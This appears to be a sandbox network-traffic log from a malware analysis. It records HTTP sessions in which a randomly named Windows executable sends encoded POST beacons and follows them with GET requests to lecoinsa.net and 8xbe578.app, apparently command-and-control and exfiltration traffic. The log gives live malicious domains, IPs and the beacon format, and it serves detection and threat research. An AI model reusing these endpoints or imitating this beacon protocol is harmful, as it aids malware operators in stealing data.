Aug 18, 2024 18:25:11.551311970 CEST	572	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Sun, 18 Aug 2024 16:25:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: http://lecoinsa.net/7ffx/ Data Raw: 31 35 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 22 3e 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 3c 2f 61 3e 2e 0a 20 20 20 20 3c 2f [TRUNCATED] Data Ascii: 15a<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='http://lecoinsa.net/7ffx/'" /> <title>Redirecting to http://lecoinsa.net/7ffx/</title> </head> <body> Redirecting to <a href="http://lecoinsa.net/7ffx/">http://lecoinsa.net/7ffx/</a>. </body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	54116	217.116.0.191	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:25:13.373100042 CEST	719	OUT	POST /7ffx/ HTTP/1.1 Host: www.lecoinsa.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.lecoinsa.net Referer: http://www.lecoinsa.net/7ffx/ Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 57 50 34 55 38 35 51 38 49 43 6e 76 46 2f 47 35 37 6c 36 45 63 71 6c 6e 6e 57 78 48 4a 79 54 74 63 4c 35 59 2f 6b 63 5a 64 32 43 52 69 62 7a 75 79 75 66 39 76 34 51 6a 58 34 56 31 65 61 69 72 50 46 4d 66 62 71 62 41 65 7a 49 72 30 6a 62 55 58 68 46 74 43 79 2b 34 56 52 37 7a 33 32 38 62 42 43 63 6f 78 34 6d 44 52 46 56 62 42 55 7a 6e 31 62 46 56 6d 4c 64 35 4f 6d 46 35 70 30 47 63 53 44 73 51 57 6e 57 62 54 37 66 78 4f 50 58 75 35 58 33 61 43 35 47 7a 41 6b 69 46 50 67 65 44 69 56 44 6c 6f 38 6e 74 39 64 59 63 32 2f 55 53 73 6b 72 51 4b 72 4e 30 55 61 4e 65 31 6c 4d 77 46 6a 43 6e 43 45 63 6b 73 6f 35 34 61 6b 78 35 4a 77 3d 3d Data Ascii: dZo=WP4U85Q8ICnvF/G57l6EcqlnnWxHJyTtcL5Y/kcZd2CRibzuyuf9v4QjX4V1eairPFMfbqbAezIr0jbUXhFtCy+4VR7z328bBCcox4mDRFVbBUzn1bFVmLd5OmF5p0GcSDsQWnWbT7fxOPXu5X3aC5GzAkiFPgeDiVDlo8nt9dYc2/USskrQKrN0UaNe1lMwFjCnCEckso54akx5Jw==
Aug 18, 2024 18:25:14.036062956 CEST	572	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Sun, 18 Aug 2024 16:25:13 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: http://lecoinsa.net/7ffx/ Data Raw: 31 35 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 22 3e 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 3c 2f 61 3e 2e 0a 20 20 20 20 3c 2f [TRUNCATED] Data Ascii: 15a<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='http://lecoinsa.net/7ffx/'" /> <title>Redirecting to http://lecoinsa.net/7ffx/</title> </head> <body> Redirecting to <a href="http://lecoinsa.net/7ffx/">http://lecoinsa.net/7ffx/</a>. </body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	54117	217.116.0.191	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:25:15.903558969 CEST	1732	OUT	POST /7ffx/ HTTP/1.1 Host: www.lecoinsa.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.lecoinsa.net Referer: http://www.lecoinsa.net/7ffx/ Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 57 50 34 55 38 35 51 38 49 43 6e 76 46 2f 47 35 37 6c 36 45 63 71 6c 6e 6e 57 78 48 4a 79 54 74 63 4c 35 59 2f 6b 63 5a 64 32 4b 52 69 6f 37 75 79 4a 72 39 75 34 51 6a 4a 49 56 30 65 61 6a 70 50 46 30 62 62 71 48 51 65 78 67 72 31 46 6e 55 52 54 39 74 52 53 2b 34 4a 68 37 49 35 57 39 54 42 44 77 73 78 34 32 44 52 46 56 62 42 57 37 6e 38 71 46 56 6b 4c 64 2b 48 47 46 31 2b 6b 48 37 53 44 6c 6e 57 6b 36 68 54 4b 2f 78 4f 72 33 75 30 46 66 61 59 35 47 31 4e 45 6a 41 50 67 43 69 69 56 66 66 6f 2f 37 48 39 66 34 63 32 37 56 4a 30 6e 65 4f 63 61 35 4a 44 6f 5a 41 76 46 51 62 4a 42 62 5a 59 6c 55 4c 78 4e 4d 4b 66 6c 67 64 52 4f 75 34 41 7a 57 35 6d 42 71 58 74 4a 75 68 6b 2b 33 4c 6b 4b 49 6b 6c 6d 50 76 41 75 6f 46 6d 6f 46 41 45 73 4a 63 48 63 6c 50 6f 67 6d 45 53 41 76 62 53 51 78 47 35 70 71 43 2b 65 6c 57 72 6b 4a 39 57 67 4c 33 38 46 52 6a 6b 5a 4d 70 65 30 74 6f 2b 63 64 43 42 50 79 53 52 36 31 4c 59 37 65 76 73 33 51 2b 4c 75 59 6f 79 63 34 37 49 73 70 51 69 77 4e 54 4b 76 63 4d 76 75 [TRUNCATED] Data Ascii: dZo=WP4U85Q8ICnvF/G57l6EcqlnnWxHJyTtcL5Y/kcZd2KRio7uyJr9u4QjJIV0eajpPF0bbqHQexgr1FnURT9tRS+4Jh7I5W9TBDwsx42DRFVbBW7n8qFVkLd+HGF1+kH7SDlnWk6hTK/xOr3u0FfaY5G1NEjAPgCiiVffo/7H9f4c27VJ0neOca5JDoZAvFQbJBbZYlULxNMKflgdROu4AzW5mBqXtJuhk+3LkKIklmPvAuoFmoFAEsJcHclPogmESAvbSQxG5pqC+elWrkJ9WgL38FRjkZMpe0to+cdCBPySR61LY7evs3Q+LuYoyc47IspQiwNTKvcMvu1P3TdpcMLFzTzZIbUgxTheBi3ta5VRD4wvG27XlpcBbsoc/0fe2tKGWt2C+q3ySdFheoa9wPWifeVYbqsDwl1gaqGESkVJSfC1qgHZ9ir3vCDjZA7bY2KfpWj6bFPz8RIGUkz//2G3qnpbxvY49IDS4DoYR8aoAO7+1SOJPLyKXHUXBfh9Z3YPl3E7KSG9isimtQ7HdBd1vwaZb0SEjYDCAldqCfOt6pFBh1sxpnLrkyeK0V9vHVakeRHIR3R3pxI/C481Ygln7xfA4LrHeUIyPBOcMhe7V9pP4ydspND6L0wu39BhKaFaoMpTp25r34MSXB/CHvqhPQqT9+hhBBZiJefB7bWM3kAEURW19alSJkEJmgdi2+YWDXoC895Qib1eO6r6cT504q5FFHIekPGgGaT38zpJ2EBSmNxVzLikQimT4AhFc0tm89NzdgnnF3CLYDcIPlCYbSNs73rkTQ81L+XjhyZ7ygFsu6m68VcaJ/HOahDXF0Yu6/8/ELFyWp8Xx/HHhJ/XgHHcCEFClAYKetcXQvQvYEwOVL54+kyJQE3kKfsZQyf6VjrUN9iSHTVEupGihpXvly8R9vNzKHuosKgOf93jLKoc16JdIcp1dL9KFCGMu30vQMLVTy/rY0DskW5Fjn38eBq/q7+v+gGwdpV3VgsQVHLi [TRUNCATED]
Aug 18, 2024 18:25:16.688044071 CEST	572	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Sun, 18 Aug 2024 16:25:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: http://lecoinsa.net/7ffx/ Data Raw: 31 35 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 22 3e 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 3c 2f 61 3e 2e 0a 20 20 20 20 3c 2f [TRUNCATED] Data Ascii: 15a<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='http://lecoinsa.net/7ffx/'" /> <title>Redirecting to http://lecoinsa.net/7ffx/</title> </head> <body> Redirecting to <a href="http://lecoinsa.net/7ffx/">http://lecoinsa.net/7ffx/</a>. </body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	54118	217.116.0.191	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:25:18.434490919 CEST	438	OUT	GET /7ffx/?dZo=bNQ0/ONSUiz8Cvet9WekHsY6glAUeAndZ9NU1FoLXha3tv70s5bqu4Q6Bv5eGpaoTDYvbrT1RjV74F6wZTVOWwD/JAve0FsHL38A7prpbz1xNEjliw==&gta=rzqXf4A02FEl_8 HTTP/1.1 Host: www.lecoinsa.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Aug 18, 2024 18:25:19.127294064 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Sun, 18 Aug 2024 16:25:19 GMT Content-Type: text/html; charset=utf-8 Content-Length: 922 Connection: close Location: http://lecoinsa.net/7ffx/?dZo=bNQ0/ONSUiz8Cvet9WekHsY6glAUeAndZ9NU1FoLXha3tv70s5bqu4Q6Bv5eGpaoTDYvbrT1RjV74F6wZTVOWwD/JAve0FsHL38A7prpbz1xNEjliw==&gta=rzqXf4A02FEl_8 Age: 0 X-Cache: MISS X-BKSrc: 0.6 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 3f 64 5a 6f 3d 62 4e 51 30 2f 4f 4e 53 55 69 7a 38 43 76 65 74 39 57 65 6b 48 73 59 36 67 6c 41 55 65 41 6e 64 5a 39 4e 55 31 46 6f 4c 58 68 61 33 74 76 37 30 73 35 62 71 75 34 51 36 42 76 35 65 47 70 61 6f 54 44 59 76 62 72 54 31 52 6a 56 37 34 46 36 77 5a 54 56 4f 57 77 44 2f 4a 41 76 65 30 46 73 48 4c 33 38 41 37 70 72 70 62 7a 31 78 4e 45 6a 6c 69 77 3d 3d 26 61 6d 70 3b 67 74 61 3d 72 7a 71 58 66 34 41 30 32 46 45 6c 5f 38 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='http://lecoinsa.net/7ffx/?dZo=bNQ0/ONSUiz8Cvet9WekHsY6glAUeAndZ9NU1FoLXha3tv70s5bqu4Q6Bv5eGpaoTDYvbrT1RjV74F6wZTVOWwD/JAve0FsHL38A7prpbz1xNEjliw==&gta=rzqXf4A02FEl_8'" /> <title>Redirecting to http://lecoinsa.net/7ffx/?dZo=bNQ0/ONSUiz8Cvet9WekHsY6glAUeAndZ9NU1FoLXha3tv70s5bqu4Q6Bv5eGpaoTDYvbrT1RjV74F6wZTVOWwD/JAve0FsHL38A7prpbz1xNEjliw==&gta=rzqXf4A02FEl_8</title> </head> <body> Redirecting to <a href="http://lecoinsa.net/7ffx/?dZo=bNQ0/ONSUiz8Cvet9WekHsY6glAUeAndZ9NU1FoLXha3tv70s5bqu4Q6Bv5eGpaoTDYvbrT1RjV74F6wZTVOWwD/JAve0FsHL38A7prpbz1xNEjliw==&gta=rzqXf4A02FEl_8">http://lecoinsa.net/7ffx/?dZo=bNQ0/ONSUiz8Cvet9WekHsY6glAUeAndZ9NU1FoLXha3tv70s5bqu4Q6Bv5eGpaoTDYvbrT1RjV74F6wZTVOWwD/JAve0F
Aug 18, 2024 18:25:19.127311945 CEST	70	IN	Data Raw: 73 48 4c 33 38 41 37 70 72 70 62 7a 31 78 4e 45 6a 6c 69 77 3d 3d 26 61 6d 70 3b 67 74 61 3d 72 7a 71 58 66 34 41 30 32 46 45 6c 5f 38 3c 2f 61 3e 2e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: sHL38A7prpbz1xNEjliw==&gta=rzqXf4A02FEl_8</a>. </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	54119	3.33.130.190	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:25:24.238148928 CEST	692	OUT	POST /1nsp/ HTTP/1.1 Host: www.8xbe578.app Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.8xbe578.app Referer: http://www.8xbe578.app/1nsp/ Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 33 75 62 4b 46 61 62 31 34 6d 52 77 7a 4d 4d 74 52 38 6f 66 6b 4c 5a 63 54 75 62 68 55 54 51 70 7a 64 6f 63 65 44 68 49 6f 7a 62 6c 52 4c 6f 5a 30 46 53 31 74 69 37 35 4b 74 63 4d 7a 46 70 38 69 30 59 34 6b 34 43 63 32 54 41 6f 6d 38 2f 69 6c 6b 6b 78 4f 61 6b 79 63 37 74 70 76 46 6a 36 53 66 77 70 49 44 59 78 51 33 34 65 30 50 2f 41 64 6f 42 65 2f 32 41 30 6c 43 66 6a 68 38 71 36 43 57 33 49 55 69 36 69 6f 68 4c 52 34 53 68 78 42 67 54 56 42 6d 54 69 35 39 78 73 76 76 44 53 4f 6d 54 41 42 6b 39 54 41 43 61 6b 6f 78 79 34 76 49 44 6e 7a 6c 55 52 48 47 61 56 Data Ascii: dZo=3ubKFab14mRwzMMtR8ofkLZcTubhUTQpzdoceDhIozblRLoZ0FS1ti75KtcMzFp8i0Y4k4Cc2TAom8/ilkkxOakyc7tpvFj6SfwpIDYxQ34e0P/AdoBe/2A0lCfjh8q6CW3IUi6iohLR4ShxBgTVBmTi59xsvvDSOmTABk9TACakoxy4vIDnzlURHGaV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	54120	3.33.130.190	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:25:26.779285908 CEST	716	OUT	POST /1nsp/ HTTP/1.1 Host: www.8xbe578.app Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.8xbe578.app Referer: http://www.8xbe578.app/1nsp/ Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 33 75 62 4b 46 61 62 31 34 6d 52 77 31 73 63 74 43 4c 30 66 6a 72 5a 66 63 4f 62 68 61 44 51 6c 7a 64 6b 63 65 41 74 59 70 42 50 6c 52 71 59 5a 31 42 4f 31 75 69 37 35 53 39 63 4a 2b 6c 70 37 69 30 56 50 6b 34 75 63 32 54 45 6f 6d 2b 6e 69 6b 58 38 79 50 4b 6b 30 56 62 74 76 69 6c 6a 36 53 66 77 70 49 44 6b 58 51 78 51 65 31 36 33 41 63 4a 42 64 35 47 41 33 69 43 66 6a 7a 4d 71 32 43 57 33 68 55 6a 6e 50 6f 69 7a 52 34 54 52 78 41 78 54 57 4c 6d 54 67 6b 74 77 70 72 66 4b 41 47 52 43 56 5a 47 63 77 64 6c 71 44 72 51 53 6d 2b 36 4b 38 6d 79 55 32 41 68 54 39 34 57 63 4d 2f 4f 35 73 33 7a 41 34 4c 70 57 32 5a 55 4a 6e 65 67 3d 3d Data Ascii: dZo=3ubKFab14mRw1sctCL0fjrZfcObhaDQlzdkceAtYpBPlRqYZ1BO1ui75S9cJ+lp7i0VPk4uc2TEom+nikX8yPKk0Vbtvilj6SfwpIDkXQxQe163AcJBd5GA3iCfjzMq2CW3hUjnPoizR4TRxAxTWLmTgktwprfKAGRCVZGcwdlqDrQSm+6K8myU2AhT94WcM/O5s3zA4LpW2ZUJneg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	54121	3.33.130.190	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:25:29.312855005 CEST	1729	OUT	POST /1nsp/ HTTP/1.1 Host: www.8xbe578.app Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.8xbe578.app Referer: http://www.8xbe578.app/1nsp/ Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 33 75 62 4b 46 61 62 31 34 6d 52 77 31 73 63 74 43 4c 30 66 6a 72 5a 66 63 4f 62 68 61 44 51 6c 7a 64 6b 63 65 41 74 59 70 41 33 6c 52 59 51 5a 31 6d 36 31 76 69 37 35 4d 74 63 49 2b 6c 70 71 69 30 4e 4c 6b 34 79 6d 32 52 4d 6f 33 74 76 69 74 47 38 79 47 4b 6b 30 58 62 74 75 76 46 6a 4b 53 66 67 74 49 44 55 58 51 78 51 65 31 37 48 41 5a 6f 42 64 69 47 41 30 6c 43 66 56 68 38 72 70 43 53 54 62 55 6a 54 35 72 53 54 52 34 7a 42 78 43 44 37 57 57 57 54 6d 6e 74 77 50 72 66 58 65 47 56 62 75 5a 43 64 56 64 6a 61 44 37 56 50 59 6a 34 48 67 35 79 4d 66 57 41 79 5a 39 52 6b 6e 78 36 59 48 71 67 73 35 66 70 54 79 66 6c 55 70 64 79 70 69 66 46 50 70 64 33 4f 6c 47 6e 4d 31 49 6e 68 4c 47 59 63 66 74 4c 53 78 32 66 57 35 47 50 5a 30 48 33 58 37 50 65 31 31 69 4e 41 7a 4b 6a 7a 63 61 67 35 54 5a 6f 63 61 66 78 2b 6b 57 4c 6c 2b 75 7a 54 34 62 43 49 33 72 59 4d 76 37 2f 50 46 6c 34 50 74 46 4e 6d 38 66 32 76 73 74 68 6b 67 44 2f 6c 77 51 49 47 31 52 6b 72 52 39 77 77 75 32 31 36 72 61 62 4a 4a 71 76 [TRUNCATED] Data Ascii: dZo=3ubKFab14mRw1sctCL0fjrZfcObhaDQlzdkceAtYpA3lRYQZ1m61vi75MtcI+lpqi0NLk4ym2RMo3tvitG8yGKk0XbtuvFjKSfgtIDUXQxQe17HAZoBdiGA0lCfVh8rpCSTbUjT5rSTR4zBxCD7WWWTmntwPrfXeGVbuZCdVdjaD7VPYj4Hg5yMfWAyZ9Rknx6YHqgs5fpTyflUpdypifFPpd3OlGnM1InhLGYcftLSx2fW5GPZ0H3X7Pe11iNAzKjzcag5TZocafx+kWLl+uzT4bCI3rYMv7/PFl4PtFNm8f2vsthkgD/lwQIG1RkrR9wwu216rabJJqvbcHp/L3JF2iA/29xt/bs+9n0reeh0cRQcVkf70guiVUQgv9PU1h6xut6rAab+F3Ofp0yvKpI0a2Cc4IdHPPgQIO8bObCtWOGkQP8kLcFOIQy+TK3JjBVCzRQWWGk5dl4uAZQcONmGxdZqNctb5u1DCFdohuEw/IJGZk9raSO72lh4HBRhIh8dvv0c19+0NDC1bdkYojiKHlhJENbCKwCEyAem1wxoH6QZ6EjqtuOwgcF02T4CoyfNQYt/LMFlr1M06j2m3XkW9RRv1sv6DnqeGoqBqwkNeZEL5nTdsPugX6gXiruodyRROHvEK8CK4m109HExZf05RQCqOzSCFKfplZOSaRUkLukJ2MN+2Mbs4E39EYJPEijGy7YpM0dbnCn4QtAnluCetuZrX3QQVFeq9hw4VqsgADQPzhAeAl08vKpC5NCc6StR38CoK53AO+bjXLREUO/SzUdUi+VpOXAtOUPrbEwuen0y7p8/5ALGIS1ydQZxIOI8iCLjMfiDP/mHJKQAto0snrkhm2E6U4SHvveFmruUROs0pb1BKwzH2tQBECqpORezWqC5DiS0BMvu3wZ/EqdSYUI5RvLwnjfMUlKLdcwv/Gikp3BxyTcCSiWjFLGne8RD1her5maXimowpE0wyf61obGMHYLGSFLcQlogXwji1Y/Wl [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	54122	3.33.130.190	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:25:31.840135098 CEST	437	OUT	GET /1nsp/?dZo=6szqGuj1zCBS7eEWPK4Hj+gRK/nLAiE2u/M2YSpUojnZUd8wkmCllhvxE7Evl1FAmV96l4GO8z837fuNk080e6UseLZVk0HIGeIsBEAgRXg1wr3NJQ==&gta=rzqXf4A02FEl_8 HTTP/1.1 Host: www.8xbe578.app Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Aug 18, 2024 18:25:33.232374907 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Sun, 18 Aug 2024 16:25:33 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 64 5a 6f 3d 36 73 7a 71 47 75 6a 31 7a 43 42 53 37 65 45 57 50 4b 34 48 6a 2b 67 52 4b 2f 6e 4c 41 69 45 32 75 2f 4d 32 59 53 70 55 6f 6a 6e 5a 55 64 38 77 6b 6d 43 6c 6c 68 76 78 45 37 45 76 6c 31 46 41 6d 56 39 36 6c 34 47 4f 38 7a 38 33 37 66 75 4e 6b 30 38 30 65 36 55 73 65 4c 5a 56 6b 30 48 49 47 65 49 73 42 45 41 67 52 58 67 31 77 72 33 4e 4a 51 3d 3d 26 67 74 61 3d 72 7a 71 58 66 34 41 30 32 46 45 6c 5f 38 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?dZo=6szqGuj1zCBS7eEWPK4Hj+gRK/nLAiE2u/M2YSpUojnZUd8wkmCllhvxE7Evl1FAmV96l4GO8z837fuNk080e6UseLZVk0HIGeIsBEAgRXg1wr3NJQ==&gta=rzqXf4A02FEl_8"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
